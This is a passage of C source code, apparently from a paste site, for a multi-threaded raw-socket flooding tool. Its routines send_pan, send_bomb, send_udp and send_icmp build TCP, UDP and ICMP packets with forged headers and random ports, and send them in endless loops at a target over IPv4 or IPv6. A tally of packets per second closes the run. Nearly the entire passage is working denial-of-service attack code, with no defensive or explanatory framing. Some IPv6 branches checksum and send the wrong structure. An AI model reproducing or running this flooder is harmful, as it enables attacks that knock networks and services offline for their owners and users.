  873.             /* Filling TCP header */
  874.             packet.tcp.th_win           =   htons(65535);
  875.            packet.tcp.th_seq        =   random();
  876.             //packet.tcp.th_x2          =   4;
  877.  
  878.             if  (param2->th_flags == TCP_ACK)
  879.                 packet.tcp.th_ack       = 1;
  880.             else
  881.             packet.tcp.th_ack       =   0;     
  882.  
  883.            packet.tcp.th_flags      =   param2->th_flags;
  884.             packet.tcp.th_off           =   5;
  885.  
  886.             if  (param2->th_flags == TCP_URG)
  887.                packet.tcp.th_urp        =   1;
  888.             else
  889.                 packet.tcp.th_urp       =   0;
  890.  
  891.            packet.tcp.th_sport      =   thread_data_array[0].s_lport == 0 ?
  892.                                             random () :
  893.                                             htons(thread_data_array[0].s_lport + (random() %
  894.                                                     (thread_data_array[0].s_hport - thread_data_array[0].s_lport + 1)));
  895.    
  896.            packet.tcp.th_dport      =   thread_data_array[0].d_lport == 0 ?
  897.                                             random () :
  898.                                          htons(thread_data_array[0].d_lport + (random() %
  899.                                                     (thread_data_array[0].d_hport - thread_data_array[0].d_lport + 1)));
  900.                
  901.            checksum.tcp                 =   packet.tcp;
  902.             //packet.tcp.th_sum         =   in_cksum((void *)&checksum, sizeof(checksum));
  903.            packet.tcp.th_sum                =  xchecksum((void *)&checksum, sizeof(checksum));
  904.        
  905.             param2->packets++;
  906.         } while ( sendto(param2->socket, &packet, (sizeof packet),
  907.                          0, (struct sockaddr *)&thread_data_array[0].destination4,
  908.                          sizeof(thread_data_array[0].destination4)) );
  909.     }
  910.     if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1)
  911.     {
  912.         do     
  913.         {
  914.             /* Filling IP header */
  915.             memset(&packet6, 0, sizeof packet6);
  916.             inject6(&packet6.ip, IPPROTO_TCP, FIX(sizeof packet6));
  917.  
  918.            /* Filling cksum pseudo header */
  919.            checksum.pseudo.daddr    =   thread_data_array[0].dstaddr;
  920.            checksum.pseudo.mbz          =   0;
  921.            checksum.pseudo.ptcl         =   IPPROTO_TCP;
  922.            checksum.pseudo.tcpl         =   sizeof(struct tcphdr);
  923.  
  924.            /* Filling TCP header */
  925.             packet6.tcp.th_win          =   htons(65535);
  926.            packet6.tcp.th_seq           =   random();
  927.             //packet6.tcp.th_x2         =   4;
  928.  
  929.             if  (param2->th_flags == TCP_ACK)
  930.                 packet6.tcp.th_ack      =   1;
  931.             else
  932.                 packet6.tcp.th_ack      =   0;     
  933.  
  934.            packet6.tcp.th_flags         =   param2->th_flags;
  935.             packet6.tcp.th_off          =   5;
  936.  
  937.             if  (param2->th_flags == TCP_URG)
  938.                 packet6.tcp.th_urp     =    1;
  939.             else
  940.                 packet6.tcp.th_urp     =    0;
  941.  
  942.            packet6.tcp.th_sport         =   thread_data_array[0].s_lport == 0 ?
  943.                                             random () :
  944.                                             htons(thread_data_array[0].s_lport + (random() %
  945.                                                     (thread_data_array[0].s_hport - thread_data_array[0].s_lport + 1)));
  946.    
  947.            packet6.tcp.th_dport         =   thread_data_array[0].d_lport == 0 ?
  948.                                             random () :
  949.                                          htons(thread_data_array[0].d_lport + (random() %
  950.                                                     (thread_data_array[0].d_hport - thread_data_array[0].d_lport + 1)));
  951.    
  952.            checksum.tcp                 =   packet.tcp;
  953.            //packet6.tcp.th_sum         =   in_cksum((void *)&checksum, sizeof(checksum));
  954.             packet.tcp.th_sum               =  xchecksum((void *)&checksum, sizeof(checksum));
  955.                                                    
  956.             param2->packets++;
  957.         } while ( sendto(param2->socket, &packet6.tcp, (sizeof packet6),
  958.                          0, (struct sockaddr *)&thread_data_array[0].destination6,
  959.                          sizeof(thread_data_array[0].destination6)) );
  960.     }
  961.     return 0;
  962. }
  963.  
  964. void *send_pan(void* arg)
  965. {
  966.     struct thread_data *param2  = arg;
  967.  
  968.    struct checksum checksum;
  969.    struct packet
  970.     {
  971.       struct ip ip;
  972.     struct tcphdr tcp;
  973.    } packet;
  974.  
  975.    struct packet6
  976.     {
  977.     struct ip6_hdr ip;
  978.       struct tcphdr tcp;
  979.    } packet6;
  980.  
  981.     printf("[%d] Acquired socket %d\n", param2->thread, param2->socket);
  982.  
  983.     signal(SIGALRM, handle_exit);  
  984.     alarm(thread_data_array[0].timeout);
  985.     if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0)
  986.     {
  987.         do     
  988.         {
  989.             /* Filling IP header */
  990.             memset(&packet, 0, sizeof packet);
  991.             inject(&packet.ip, IPPROTO_TCP, FIX(sizeof packet));
  992.    
  993.             packet.ip.ip_sum           =    in_cksum((void *)&packet.ip, sizeof(packet));
  994.  
  995.            /* Filling cksum pseudo header */
  996.            checksum.pseudo.daddr        =   thread_data_array[0].dstaddr;
  997.            checksum.pseudo.mbz          =   0;
  998.            checksum.pseudo.ptcl         =   IPPROTO_TCP;
  999.            checksum.pseudo.tcpl         =   sizeof(struct tcphdr);
  1000.            checksum.pseudo.saddr        =   packet.ip.ip_src.s_addr;
  1001.  
  1002.             /* Filling TCP header */
  1003.             packet.tcp.th_win           =   htons(65535);
  1004.            packet.tcp.th_seq        =   random();
  1005.             //packet.tcp.th_x2          =   4;
  1006.  
  1007.             if  (param2->th_flags == TCP_ACK)
  1008.                 packet.tcp.th_ack       =   1;
  1009.             else
  1010.             packet.tcp.th_ack       =   0; 
  1011.  
  1012.             if  (param2->th_flags == TCP_SYN)
  1013.                 packet.tcp.th_ack       =   1;
  1014.             else
  1015.             packet.tcp.th_ack       =   0;                 
  1016.  
  1017.            packet.tcp.th_flags      =   param2->th_flags;
  1018.             packet.tcp.th_off           =   5;
  1019.  
  1020.             if  (param2->th_flags == TCP_URG)
  1021.                packet.tcp.th_urp        =   1;
  1022.             else
  1023.                 packet.tcp.th_urp       =   0;
  1024.  
  1025.            packet.tcp.th_sport      =   thread_data_array[0].s_lport == 0 ?
  1026.                                             random () :
  1027.                                             htons(thread_data_array[0].s_lport + (random() %
  1028.                                                     (thread_data_array[0].s_hport - thread_data_array[0].s_lport + 1)));
  1029.    
  1030.            packet.tcp.th_dport      =   thread_data_array[0].d_lport == 0 ?
  1031.                                             random () :
  1032.                                          htons(thread_data_array[0].d_lport + (random() %
  1033.                                                     (thread_data_array[0].d_hport - thread_data_array[0].d_lport + 1)));
  1034.    
  1035.            checksum.tcp              =  packet.tcp;
  1036.            packet.tcp.th_sum        =   in_cksum((void *)&checksum, sizeof(checksum));
  1037.             param2->packets++;
  1038.         } while ( sendto(param2->socket, &packet, (sizeof packet),
  1039.                          0, (struct sockaddr *)&thread_data_array[0].destination4,
  1040.                          sizeof(thread_data_array[0].destination4)) );
  1041.     }
  1042.     if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1)
  1043.     {
  1044.         do     
  1045.         {
  1046.             /* Filling IP header */
  1047.             memset(&packet6, 0, sizeof packet6);
  1048.             inject6(&packet6.ip, IPPROTO_TCP, FIX(sizeof packet6));
  1049.  
  1050.             /* Filling cksum pseudo header */
  1051.             checksum.pseudo.daddr       =   thread_data_array[0].dstaddr;
  1052.             checksum.pseudo.mbz       =     0;
  1053.             checksum.pseudo.ptcl    =   IPPROTO_TCP;
  1054.             checksum.pseudo.tcpl        =   sizeof(struct tcphdr);
  1055.  
  1056.             /* Filling TCP header */
  1057.             packet6.tcp.th_win          =   htons(65535);
  1058.            packet6.tcp.th_seq           =   random();
  1059.             //packet6.tcp.th_x2         =   4;
  1060.  
  1061.             if  (param2->th_flags == TCP_ACK)
  1062.                 packet6.tcp.th_ack      =   1;
  1063.             else
  1064.                 packet6.tcp.th_ack      =   0;     
  1065.  
  1066.            packet6.tcp.th_flags         =   param2->th_flags;
  1067.             packet6.tcp.th_off          =   5;
  1068.  
  1069.             if  (param2->th_flags == TCP_URG)
  1070.                 packet6.tcp.th_urp     =    1;
  1071.             else
  1072.                 packet6.tcp.th_urp     =    0;
  1073.  
  1074.            packet6.tcp.th_sport         =   thread_data_array[0].s_lport == 0 ?
  1075.                                             random () :
  1076.                                             htons(thread_data_array[0].s_lport + (random() %
  1077.                                                     (thread_data_array[0].s_hport - thread_data_array[0].s_lport + 1)));
  1078.    
  1079.            packet6.tcp.th_dport         =   thread_data_array[0].d_lport == 0 ?
  1080.                                             random () :
  1081.                                          htons(thread_data_array[0].d_lport + (random() %
  1082.                                                     (thread_data_array[0].d_hport - thread_data_array[0].d_lport + 1)));
  1083.    
  1084.            checksum.tcp              =  packet.tcp;
  1085.            packet6.tcp.th_sum           =   in_cksum((void *)&checksum, sizeof(checksum));
  1086.  
  1087.             param2->packets++;
  1088.         } while ( sendto(param2->socket, &packet6.tcp, (sizeof packet6),
  1089.                          0, (struct sockaddr *)&thread_data_array[0].destination6,
  1090.                          sizeof(thread_data_array[0].destination6)) );
  1091.     }
  1092.     return 0;
  1093. }
  1094. void *send_bomb(void* arg)
  1095. {  
  1096.     struct thread_data *param2  = arg;
  1097.  
  1098.    struct checksum checksum;
  1099.    struct packet
  1100.     {
  1101.       struct ip ip;
  1102.     struct tcphdr tcp;
  1103.       struct udphdr udp;    
  1104.     char buf[param2->bombsize];
  1105.    } packet;
  1106.  
  1107.    struct packet6
  1108.     {
  1109.     struct ip6_hdr ip;
  1110.       struct tcphdr tcp;
  1111.       struct udphdr udp;      
  1112.     char buf[param2->bombsize];      
  1113.    } packet6;
  1114.  
  1115.     if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0)
  1116.     {
  1117.         if(param2->a_flags      == TCP_BMB)
  1118.             param2->socket = socket(AF_INET, SOCK_RAW,  IPPROTO_TCP);
  1119.         else if(param2->a_flags == UDP_BMB)
  1120.             param2->socket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); 
  1121.         else if(param2->a_flags == RAW_BMB)
  1122.             param2->socket = socket(AF_INET, SOCK_RAW,  IPPROTO_RAW);                          
  1123.     }
  1124.     else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1)
  1125.     {
  1126.         if(param2->a_flags      == TCP_BMB)
  1127.             param2->socket = socket(AF_INET6, SOCK_RAW,     IPPROTO_TCP);
  1128.         else if(param2->a_flags == UDP_BMB)
  1129.             param2->socket = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);
  1130.         else if(param2->a_flags == RAW_BMB)
  1131.             param2->socket = socket(AF_INET6, SOCK_RAW,     IPPROTO_RAW);  
  1132.     }
  1133.    
  1134.     int i;
  1135.     for (i = sizeof(packet) + 1; i < (param2->bombsize); i++)
  1136.     {
  1137.             packet.buf[i] = '\x00';
  1138.     }
  1139.    
  1140.     if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0)
  1141.         connect(param2->socket, (struct sockaddr *)&thread_data_array[0].destination4, sizeof(struct sockaddr_in));
  1142.     else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1)
  1143.         connect(param2->socket, (struct sockaddr *)&thread_data_array[0].destination6, sizeof(struct sockaddr_in6));
  1144.  
  1145.     printf("[%d] Acquired socket %d\n", param2->thread, param2->socket);
  1146.  
  1147.     signal(SIGALRM, handle_exit);  
  1148.     alarm(thread_data_array[0].timeout);
  1149.     do     
  1150.     {
  1151.         if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0)
  1152.         {
  1153.             if(param2->a_flags == TCP_BMB || param2->a_flags == RAW_BMB)   
  1154.             {
  1155.                 /* Filling IP header */
  1156.                 memset(&packet, 0, sizeof packet);
  1157.                 inject(&packet.ip, IPPROTO_TCP, FIX(sizeof packet));
  1158.    
  1159.                 packet.ip.ip_sum           =    in_cksum((void *)&packet.ip, sizeof(packet));
  1160.  
  1161.                 /* Filling cksum pseudo header */
  1162.                 checksum.pseudo.daddr       =   thread_data_array[0].dstaddr;
  1163.                 checksum.pseudo.mbz         =   0;
  1164.  
  1165.                 if(param2->a_flags == TCP_BMB)     
  1166.                     checksum.pseudo.ptcl    =   IPPROTO_TCP;
  1167.                 else if(param2->a_flags == RAW_BMB)
  1168.                     checksum.pseudo.ptcl    =   IPPROTO_RAW;
  1169.                                    
  1170.                 checksum.pseudo.tcpl        =   sizeof(struct tcphdr);
  1171.                 checksum.pseudo.saddr       =   packet.ip.ip_src.s_addr;
  1172.  
  1173.                 /* Filling TCP header */
  1174.             packet.tcp.th_win           =   htons(65535);
  1175.                 packet.tcp.th_seq           =   random();
  1176.    
  1177.             packet.tcp.th_off           =   5;  
  1178.        
  1179.                 //thread_data_array[0].destination4.sin_port = htons(113);         
  1180.            
  1181.                 checksum.tcp              =     packet.tcp;
  1182.                 //packet.tcp.th_sum         =   in_cksum((void *)&checksum, sizeof(checksum));
  1183.             }
  1184.             else if(param2->a_flags == UDP_BMB)
  1185.             {
  1186.             /* Filling IP header */
  1187.             memset(&packet, 0, sizeof packet);
  1188.             inject(&packet.ip, IPPROTO_UDP, FIX(sizeof packet));
  1189.    
  1190.                 packet.ip.ip_sum            =   in_cksum((void *)&packet.ip, sizeof(packet));
  1191.  
  1192.             /* Filling UDP header */
  1193.            
  1194.             packet.udp.uh_ulen          =   htons(sizeof packet.udp);
  1195.             packet.udp.uh_sum           =   0;
  1196.                 //packet.udp.uh_sum             =   in_cksum((void *)&packet, sizeof(packet)); 
  1197.                 packet.udp.uh_sum           =   xchecksum((void *)&packet, sizeof(packet));                                                                
  1198.            }           
  1199.         }
  1200.         else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1)
  1201.         {
  1202.             if(param2->a_flags == TCP_BMB || param2->a_flags == RAW_BMB)   
  1203.             {
  1204.                 /* Filling IP header */
  1205.                 memset(&packet6, 0, sizeof packet6);
  1206.                 inject6(&packet6.ip, IPPROTO_TCP, FIX(sizeof packet6));
  1207.  
  1208.             /* Filling cksum pseudo header */
  1209.             checksum.pseudo.daddr       =   thread_data_array[0].dstaddr;
  1210.             checksum.pseudo.mbz         =   0;
  1211.            
  1212.                 if(param2->a_flags == TCP_BMB)     
  1213.                     checksum.pseudo.ptcl    =   IPPROTO_TCP;
  1214.                 else if(param2->a_flags == RAW_BMB)
  1215.                     checksum.pseudo.ptcl    =   IPPROTO_RAW;
  1216.                    
  1217.             checksum.pseudo.tcpl        =   sizeof(struct tcphdr);
  1218.  
  1219.             /* Filling TCP header */
  1220.                 packet6.tcp.th_win          =   htons(65535);
  1221.             packet6.tcp.th_seq          =   random();              
  1222.             }  
  1223.             else if(param2->a_flags == UDP_BMB)
  1224.             {
  1225.             /* Filling IP header */
  1226.             memset(&packet6, 0, sizeof packet6);
  1227.             inject6(&packet6.ip, IPPROTO_UDP, FIX(sizeof packet6));
  1228.    
  1229.             /* Filling UDP header */
  1230.  
  1231.             packet6.udp.uh_ulen         =   htons(sizeof packet6.udp);
  1232.             packet6.udp.uh_sum          =   0;
  1233.                 //packet6.udp.uh_sum            =   in_cksum((void *)&packet6, sizeof(packet6));
  1234.                 packet6.udp.uh_sum          =   xchecksum((void *)&packet6, sizeof(packet6));                                                                                                  
  1235.             }                  
  1236.         }      
  1237.         param2->packets++;
  1238.     } while ( send(param2->socket, &packet, sizeof(packet), 0) );
  1239.  
  1240.     return 0;
  1241. }
  1242. void *send_udp(void* arg)
  1243. {    
  1244.     struct thread_data *param2  = arg;
  1245.              
  1246.    struct packet
  1247.     {
  1248.         struct ip ip;
  1249.         struct udphdr udp;
  1250.     } packet;
  1251.  
  1252.    struct packet6
  1253.     {
  1254.         struct ip6_hdr ip;
  1255.         struct udphdr udp;
  1256.     } packet6;
  1257.  
  1258.     printf("[%d] Acquired socket %d\n", param2->thread, param2->socket);
  1259.  
  1260.     signal(SIGALRM, handle_exit);  
  1261.     alarm(thread_data_array[0].timeout);
  1262.  
  1263.     if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0)
  1264.     {
  1265.         do     
  1266.         {
  1267.            /* Filling IP header */
  1268.            memset(&packet, 0, sizeof packet);
  1269.            inject(&packet.ip, IPPROTO_UDP, FIX(sizeof packet));
  1270.    
  1271.             packet.ip.ip_sum            =   in_cksum((void *)&packet.ip, sizeof(packet));
  1272.             /* Filling UDP header */
  1273.            packet.udp.uh_sport      =   thread_data_array[0].s_lport == 0 ?
  1274.                                             random () :
  1275.                                          htons(thread_data_array[0].s_lport + (random() %
  1276.                                                     (thread_data_array[0].s_hport - thread_data_array[0].s_lport + 1)));
  1277.  
  1278.            packet.udp.uh_dport      =   thread_data_array[0].d_lport == 0 ?
  1279.                                             random () :
  1280.                                          htons(thread_data_array[0].d_lport + (random() %
  1281.                                                     (thread_data_array[0].d_hport - thread_data_array[0].d_lport + 1)));
  1282.  
  1283.            packet.udp.uh_ulen           =   htons(sizeof packet.udp);
  1284.            packet.udp.uh_sum            =   0;
  1285.            //packet.udp.uh_sum          =   in_cksum((void *)&packet, sizeof(packet));
  1286.            packet.udp.uh_sum                =  xchecksum((void *)&packet, sizeof(packet));
  1287.  
  1288.             param2->packets++;
  1289.         } while ( sendto(param2->socket, &packet, (sizeof packet),
  1290.                          0, (struct sockaddr *)&thread_data_array[0].destination4,
  1291.                          sizeof(thread_data_array[0].destination4)) );
  1292.     }
  1293.     else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1)
  1294.     {
  1295.         do     
  1296.         {
  1297.            /* Filling IP header */
  1298.            memset(&packet6, 0, sizeof packet6);
  1299.            inject6(&packet6.ip, IPPROTO_UDP, FIX(sizeof packet6));
  1300.    
  1301.            /* Filling UDP header */
  1302.            packet6.udp.uh_sport         =   thread_data_array[0].s_lport == 0 ?
  1303.                                             random () :
  1304.                                          htons(thread_data_array[0].s_lport + (random() %
  1305.                                                     (thread_data_array[0].s_hport - thread_data_array[0].s_lport + 1)));
  1306.  
  1307.            packet6.udp.uh_dport     =   thread_data_array[0].d_lport == 0 ?
  1308.                                             random () :
  1309.                                          htons(thread_data_array[0].d_lport + (random() %
  1310.                                                     (thread_data_array[0].d_hport - thread_data_array[0].d_lport + 1)));
  1311.  
  1312.            packet6.udp.uh_ulen          =   htons(sizeof packet6.udp);
  1313.            packet6.udp.uh_sum        =  0;
  1314.             //packet6.udp.uh_sum            =   in_cksum((void *)&packet6, sizeof(packet6));
  1315.            packet6.udp.uh_sum               =  xchecksum((void *)&packet6, sizeof(packet6));
  1316.  
  1317.             param2->packets++;
  1318.         } while ( sendto(param2->socket, &packet6, (sizeof packet6),
  1319.                          0, (struct sockaddr *)&thread_data_array[0].destination6,
  1320.                          sizeof(thread_data_array[0].destination6)) ); 
  1321.     }
  1322.     return 0;
  1323. }
  1324. void *send_icmp(void* arg)
  1325. {
  1326.  
  1327.     struct thread_data *param2  = arg;
  1328.  
  1329.    struct packet
  1330.     {
  1331.         struct ip ip;
  1332.       struct icmp icmp;
  1333.    } packet;
  1334.  
  1335.     struct packet6
  1336.     {
  1337.         struct ip6_hdr ip;
  1338.         struct icmp6_hdr icmp;
  1339.    } packet6;
  1340.  
  1341.     printf("[%d] Acquired socket %d\n", param2->thread, param2->socket);
  1342.  
  1343.     signal(SIGALRM, handle_exit);  
  1344.     alarm(thread_data_array[0].timeout);
  1345.  
  1346.     if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0)
  1347.     {
  1348.         do     
  1349.         {
  1350.            /* Filling IP header */
  1351.         memset(&packet, 0, sizeof packet);
  1352.            inject(&packet.ip, IPPROTO_ICMP, FIX(sizeof packet));
  1353.         packet.ip.ip_sum            = in_cksum((void *)&packet.ip, 20);
  1354.  
  1355.            /* Filling ICMP header */
  1356.         packet.icmp.icmp_type       = ICMP_ECHO;
  1357.            packet.icmp.icmp_code       = 0;
  1358.            packet.icmp.icmp_cksum      = htons( ~(ICMP_ECHO << 8));
  1359.  
  1360.             param2->packets++;
  1361.         } while ( sendto(   param2->socket, &packet, (sizeof packet),
  1362.                             0, (struct sockaddr *)&thread_data_array[0].destination4,
  1363.                         sizeof(thread_data_array[0].destination4)) );
  1364.     }
  1365.     else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1)
  1366.     {
  1367.         do     
  1368.         {
  1369.            /* Filling IP header */
  1370.         memset(&packet6, 0, sizeof packet6);
  1371.  
  1372.            inject6(&packet6.ip, IPPROTO_ICMPV6, FIX(sizeof packet6));
  1373.  
  1374.             /* Filling ICMP header */
  1375.         packet6.icmp.icmp6_type         = ICMP6_ECHO_REQUEST;
  1376.            packet6.icmp.icmp6_code          = 0;
  1377.             packet6.icmp.icmp6_id           = random();
  1378.             packet6.icmp.icmp6_seq          = random();
  1379.  
  1380.             packet6.icmp.icmp6_cksum        = 0;
  1381.             //packet6.icmp.icmp6_cksum  = in_cksum((void *)&packet6, sizeof(packet6));
  1382.             packet6.icmp.icmp6_cksum        = xchecksum((void *)&packet6, sizeof(packet6));
  1383.  
  1384.             param2->packets++;
  1385.         } while ( sendto(   param2->socket, &packet6.icmp, (sizeof packet6),
  1386.                             0, (struct sockaddr *)&thread_data_array[0].destination6,
  1387.                         sizeof(thread_data_array[0].destination6)) );  
  1388.     }
  1389.     return 0;
  1390. }
  1391. void  handle_exit ()
  1392. {
  1393.     int packets;
  1394.  
  1395.     packets  = thread_data_array[1].packets
  1396.                 + thread_data_array[2].packets
  1397.                 + thread_data_array[4].packets
  1398.                 + thread_data_array[8].packets
  1399.                 + thread_data_array[16].packets
  1400.               + thread_data_array[32].packets
  1401.                 + thread_data_array[64].packets
  1402.                 + thread_data_array[128].packets
  1403.                 + thread_data_array[256].packets
  1404.                 + thread_data_array[512].packets   
  1405.                 + thread_data_array[1024].packets
  1406.                 + thread_data_array[2048].packets
  1407.                 + thread_data_array[4096].packets
  1408.                 + thread_data_array[8192].packets
  1409.                 + thread_data_array[16384].packets;
  1410.  
  1411.     printf ("Packeting completed, %d total, %d seconds, %d pps\n",  packets,
  1412.                                                                                             (int) time (NULL) - thread_data_array[0].start,
  1413.                                                                                             packets / ((int) time (NULL) - thread_data_array[0].start));
  1414.     exit (0);
  1415. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement